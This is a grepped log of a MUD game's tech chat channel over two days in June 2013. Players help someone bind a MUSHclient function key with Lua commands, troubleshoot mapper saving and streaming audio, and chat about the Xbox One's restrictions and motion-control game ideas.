T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: you set your prefix to \\ then instead of \\\ i bet
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Either change the prefix, or use what you set instead of the \\\ in the command i showed you
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: so im using ...... \\\function spellup() Send('spellup spellup learned') end Accelerator('f2', \\\spellup()")
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: ?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: add a " before \\\spellup()
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: ... \\\function "spellup() Send('spellup spellup learned') end Accelerator('f2', \\\spellup()")
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: sorry
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: other one
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: you still don't have the double quote before the \\\spellup()
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Ok dude, just copy/paste this EXACTLY. \\\Accelerator('f2', 'spellup learned')
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: \\\function spellup() Send('spellup spellup learned') end Accelerator('f2', "\\\spellup()")
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: or what you just sent cuz it's right now
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: ok it didnt come up with a warning this time, infact, nothing happened lol
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Hit f2 :P
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: i cant do that lol
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Which did you end up using?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: all ive done is what youve asked me
T3/r7/2013-06-06.txt.gz:{chan ch=tech}SweetHeart Madcatz Tech: In the second part, it looks like \\\s is doing \s
T3/r7/2013-06-06.txt.gz:{chan ch=tech}SweetHeart Madcatz Tech: It's escaping
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Just use the one I said that doesn't have a function, it's easier
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: \\\Accelerator('f2', 'spellup learned')
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That one works out of the box and no chance for parsing the escapes.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Six-String Strazor Tech: This works perfectly on my mushclient aard package:  \\\function spellup() Send('spellup spellup learned') end Accelerator('f2', 'spellup learned')
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Umm...
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: sorted
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: that worked a treat
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You don't need the function if you aren't calling it...
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Tech: Six-String Strazor buries his face in his hand and sighs, shaking his head.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: so now when i use F2 i'll use my self buffs, now what about offensive spells?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger snickers with Six-String Strazor about their shared secret.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I have a variable set for my current attack and then did \\\Accelerator("alt+s", "\\\Send(GetVariable("attack_spell"))")
T3/r7/2013-06-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: of course, that would have the same escaping problem, which is probably why you changed your script prefix in the first place
T3/r7/2013-06-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: not to mention the mismatched quotes
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I'm sure there was a reason I changed my script prefix, and more and more it's looking like it was the escaping issue :P
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And yeah, I didn't copy/paste that one, so i kinda screwed up the quotes :P
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: well my head is mashed now, never knew it could be so complicated to bind a key
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: ty for your help mate
T3/r7/2013-06-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: if it's something simple, it's really not
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is always this complicated, just some programs hide a lot of the power to keep it simple
T3/r7/2013-06-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: \\\Accelerator('key', 'some command')
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Or just read the link I posted for you forever ago :P
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Tech: A Piece Of Herodotus grins evilly.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Faylen Tech: I'd never thought of trying to do that stuff from the command line. Does that save automatically?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Tynrael Tech: if you get AardMush before you put too much work into tweaking your vanilla version you will probably be happier with the built in mapper and other plugins that are already setup
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: i downloaded it but it asked me to pay for it or something
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: no it's not
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: http://www.aardwolf.com/play/index.htm
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Faylen Tech: You don't have to pay for mushclient. Sure you downloaded the right thing?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Get it from here, no need to pay any scammers
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: yeah it wants me to download winrarr or something wierd like that
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: ive downloaded the aardwolf client and it wants me to get that winrar thing
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Faylen Tech: Oh. That's because you need to be able to extract the program. Win rar is safe to download
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Leinei Tech: If it's a zip file, you just need something to unzip it.  7-zip or something like that will work.  Pretty typical for any downloaded files.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Tech: Faylen nods.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: it's compressed...
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: yeah i can safely say i dont know what im doing, im gonna break my pc at this rate, it was never this complicated 16 years ago in high school lol
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: ok wow, this looks way better
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Tynrael Tech: now you can get an autospellup plugin and you wont need that macro =)
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Finger bast
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: right ok
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Marcupia Tech: i think lol
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Roidrage Tech: how come my mapper notes dont save? everytime i close and open mush client there gone
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Are you running it out of dropbox from multiple machines? I've seen it do that in that circumstance a few times.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Roidrage Tech: nope just personal pc no drop box
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Hmm, not really sure then. If it adds it, and you leave the room and walk back in and it shows, then it's been added to the database. So closing the client and opening shouldn't affect it whatsoever.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Mt. Craigath Tech: I have the same problem occasionally.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Any extra information you can add to help track down what circumstances cause it?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Mt. Craigath Tech: It happens on both computers I have it installed on.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Mt. Craigath Tech: No particular information aside from that, because the computers don't have much in common.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Interesting. I know that the mapper does a periodic backup, but that shouldn't affect what's stored in the database, unless for some reason it keeps rolling back...
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Mt. Craigath Tech: There must be some sort of saving mechanism that I am missing.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Roidrage Tech: i press ctrl+s every time i quit still doesnt save
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Quadrapus Tech: Any CS/algorithm nerds around?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Quadrapus Tech: Drop me a line if you have some time... I am trying to figure out how to post a specific problem
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Rahkim Tech: curious about that mini window task question too, but just got my channel on
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Oladon Tech: Any Pig users here?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}OMG It's Aleks Tech: What'd you say about my mama?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: sorry i use butterflys
T3/r7/2013-06-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyone know if the webdev courses in college cover mobile coding also? i know its pretty much the same just need to adjust stuff for the smaller sizes, but there are some differences right?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That's like asking 'does this pie have apple in it?' - the answer is maybe
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But if you are in a half decent course, it will at least give you the background you need to further your own learning in the areas you are personally interested in
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: A lot of it is UI design - mouse and keyboard vs touch is very different, which is different again to navkey navigation
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But so long as the course teaches you how to handle context-dependent CSS, you should be alright
T3/r7/2013-06-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: the few times i have tried to re-code the boot website for mobile it did not work as well as i wanted, maybe ill retry with this more simple design
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Detecting mobile and using a parallel site seems to be the current industry standard
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: www.mywebsite.com becomes m.mywebsite.com
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: With a pared down UI for faster DL and easier display
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But really the trick is all in the CSS
T3/r7/2013-06-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: maybe ill try the webdev course at my college and see what i can pick up
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Just be careful with the course names - you will probably find 'web design' is what you are after, whereas 'web development' is usually things like LAMP, jsp or .net
T3/r7/2013-06-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: at this point everything i know is self taught, i guess a class could not hurt
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Vale Tech: does anyone know i would get the sound equivalent of fps drop when i'm streaming video?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Slow/buggy connection?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Or insufficient buffering
T3/r7/2013-06-06.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Vale: dropped packets, you mean?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Like what Skype does sometimes :P
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Vale Tech: it sounds like a big brrrap or something
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Tech: [Deputy] Trurien rapidly nods twice, in complete agreement.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Vale Tech: is that an internet speed issue?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Vale Tech: or hardware?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Could be either, really.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Tech: Oladon grumbles about Pig.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Do you have connection issues that show up in anything else?
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Vale Tech: not particularly
T3/r7/2013-06-06.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Downloads slowing down, video also skipping..
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Vale Tech: i get video problems on twitch occasionally but thats a general twitch problem from my research
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Vale Tech: not so muc h anywhere else
T3/r7/2013-06-06.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Hmm.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Gotta run
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Tech: Oladon tries to cajole the cluster into producing the desired output.
T3/r7/2013-06-06.txt.gz:{chan ch=tech}Quadrapus Tech: is the output BORK?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: anyone know a work around to list only the aliases within a group from a plugin?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: GetPluginAliasList will list all of the aliases from within that particular plugin...for alias groups, you can EnableAliasGroup (on or off) and DeleteAliasGroup, but not list
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Xbox One: Must connect to Microsoft Servers once every 24 hours, or you can't play games. Only certain retailers will be allowed to resell games, but publishers can ban their titles from resale. You can lend or give away your games to a friend, but only ONCE. This feature will not be active at launch. *shrug*
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Jhav Tech: I'm not sure what Microsoft thinks it is doing.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Illiden Tech: where'd ya get this info?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: That just, more or less, confirmed my desire to not go with Xbox.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Razor Tech: you forgot no backwards compatibility.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Microsoft confirmed it today, Illiden.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Vexthorne Tech: I thought the first part of that was common knowledge
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Jhav Tech: Because what they are accomplishing is making EVERYBODY not want an XBox One.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Vexthorne Tech: aside from teh ban from resale shit
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Razor.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: And wasn't complete public knowledge, I guess.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Vexthorne Tech: No PS4 BC either though
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: main problem is needing the internet connection for me, that and no backward compatibility
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Sonshi Tech: if demand drops as a result of a resale ban, price should also drop... assuming they're not completely stupid.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: only seen a glimpse of the new xbox  only prob for me is backard compat
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Vexthorne Tech: price didn't drop as a result of digital distribution, price will never drop
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: http://www.forbes.com/sites/markrogowsky/2013/06/06/microsofts-shortsighted-approach-might-have-already-killed-xbox-one/ -- If you're interested.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Sonshi Tech: did demand drop as a result of digital distribution?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Vexthorne Tech: For physical copies?  Probably not because no benefits to digital distribution at the same price points(or higher)
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: The internet connection, at least, isn't an always on connection. It just needs to be on when it tries to connect to MS servers.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: thing is i have no internet connection for my xbox as it is now, as its to slow
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: all i use my xbox for is netflix :p in last 3 mo
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: *nod*
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Illiden Tech: lol that's all i've been using my PS3 for BlueBeetle lol
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Illiden Tech: oh said lol twice
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: lol
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: lol
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol lool
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: I'm not familiar with the xbox drama, what's been going on?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: explain like im 5
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: i think the wii is a bit more fun for all those family games they make good party games as well :p
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Newchange: Get an Xbox One, you're selling your soul to Microsoft. :D
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: non-backward comptibal, requires internet, limited resale
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: Non backward compatible?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: Oh wow all 3 of those suck
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Means you can't play Xbox 360 games on Xbox One.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Razor Tech: this is the first new generation of consoles ever (since the original atari!) that I've been like "yawn, whatever"
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I have an Xbox none
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: basicly
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: BlueBeetle snickers softly.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: Are people going to buy it?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Razor Tech: and all these restrictions aren't helping.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: not me
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Illiden Tech: I don't mind it not being backward compatible, i still have my orignal Xbox, but the whole internet connection thing and limited resale has me looking at the PS4 now.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I'm quite excited for Steambox
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Razor Tech: Nod Illiden, but having to keep the old 360 around anyway means you can take a serious look at the PS4 and risk losing nothing.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Illiden Tech: Interested in seeing if their sales drop.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: As someone put it, Sony'd be smart to crack the PS4 open a la Android.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: a la android?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Vexthorne Tech: PS3(and PS4) do at least have PS+ which is pretty cool
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Razor Tech: but considering how many years it has been since the ps3/360 came out this new wave of consoles just doesn't seem to have really advanced much.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Motion control is about all that it's adding, really, and we've had that with the Wii.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I believe M$ is counting on the fact the biggest purchasers of consoles are going to be the mothers for their kids xmas, and they aren't going to investigate beyond "OOH Flashy marketing!"
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Illiden Tech: well, the xbox is adding a lot of features
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Sure, there's a couple new fancy things, but nothing that screams, "OMG! We're the best thing since sliced bread!"
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: nods its like market research  prolly  will be just as good as vista :p
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Illiden Tech: PS4 will be revealed at E3 
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Razor Tech: a high res kinect that actually responds quickly enough to make a good action game around would be cool.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Razor.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto rapidly nods twice, in complete agreement.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Voice activated Kinect? Meh. Cable box? Meh.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: A kinect in which I can use a mock-up rifle or some such, arcade Time Crisis style
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Vexthorne Tech: Is kinect motion control better than wii crap?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Sonshi Tech: it is often said that the best margins are in things that are bought by people who aren't the ones using them...
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: its not perfect
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Kinect uses your body, and it's pretty decent, to be honest.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It's better, but it's not great
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Illiden Tech: motion control is motion control. They're all equally fun.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I've used the node-suit motion capture - not all motion controls are created equally :-P
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah... but the node-suit is... designed to be better. :p
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Vexthorne Tech: motion control on the original wii was pretty terrible, got better with whatever add on I guess
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Node suit + google glass... could be a lot of fun
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: ...but you have to wear the suit.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: i'd like to see the trailer park boys try them suits :p
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: More than just having to wear the suit - wearing the suit in a purpose built room that was calibrated perfectly with blue-screen floor, walls and ceiling
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: sounds like a pentium 4 commercial
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Do you realize how much more exercise people would get if they could play games like Battlefield and Call of Duty using full motion? Heh.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol they would stop playing probably
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: not much unless the floors are treadmill action ?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tynrael Tech: if you can't grief while eating chips its not worth it!
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: lol
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: Has to be a game where it is subtly advantageous to increase the amount of motion-controlled vs remote control, though you allow player choice
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: Then people will get the exercise
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Don't necessarily need treadmill action on the floors.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Jog in place, walk in place, drop down, crouch, etc.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: Lol I remember seeing a minecraft motion control vid once
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: Just lean forward / move subtly to do stuff
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Illiden Tech: All the sprinting in CoD. It sounds tiring already.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers with Illiden about their shared secret.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: i remember trying the aventure game that came out  in first wave jumping was hard on the knees :(
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: No more "sprint until out of breath, wait 5 seconds, sprint again!" :p
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: then when you're 50+ getting your ass kicked by 13 yr olds u will want a controll in your hand :p
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: If you guys suddenly magically became the sole designer for a team of near-omnipotent programmers, and were tasked to produce a motion-detect game
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: what genre or type or concept of game would it be 
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: I'd like to play Legend of Zelda with motion control, complete motion control.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The Sims. Please pay $100,000,000 for the "relations' dlc.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Illiden Tech: Motion detect Amnesia game?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: Book of Etzli rolls on the floor laughing at Captain HR Vakieh's antics!
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: LOL the sims is a good one
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: rosebud!::!::!::! etc
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: er ;'s even
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: Nobody suggests sporty, combat stuff- I suppose motion control is really all about the added immersion and fantasy/realism
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Could just set it up in your house, motion detect you having dinner, going to the bathroom, going to work. That's not creepy, is it?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: not so much about the novelty of sprinting
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: lol
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: We could call it 'life' :-P
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: haha :D
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Honestly, Newchange, I'd love a baseball game completely motion control. Obviously couldn't do dives or slides, though.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: and get paid to play?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: But then, I'd build a room to go along with it so that you COULD dive/slide, etc.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: sounds like  a bit on the gamer movie
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: Oh- but you might just play it real time? Though then you'd have less trouble finding a venue / players
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: I mean IRL, not real time
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Give me a motion detect with force feedback suit and let me beat the crap out of random people, GTA style
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: heh im down for that one :p
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Vakieh: Force feedback, playing Fight Night. Or MK.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Mike Tyson's Punch Out!
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: FINISH HIM!
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: ow
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: pretty interesting stuff
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: The force feedback suit shocks your throat as SubZero rips your spine out.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: oh dude.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: LOL
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Now that would be awesome.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Or warms up considerably when Scorpion flames you to death.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: heh fights would be more intense im sure :p
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Big bass speakers in the torso thud as you get pummelled
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Also, the rip heart fatality could literally work.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: That's not a good thing.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers with [Deputy] Trurien about their shared secret.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}VampireDude Tech: finally, the tethering tethered tentatively.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}VampireDude Tech: is there a way to make mplayer save the movies it plays to disk?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Marcupia Tech: hey guys i know i was given the script yesterday to buff my self using a function key but could i have it again please
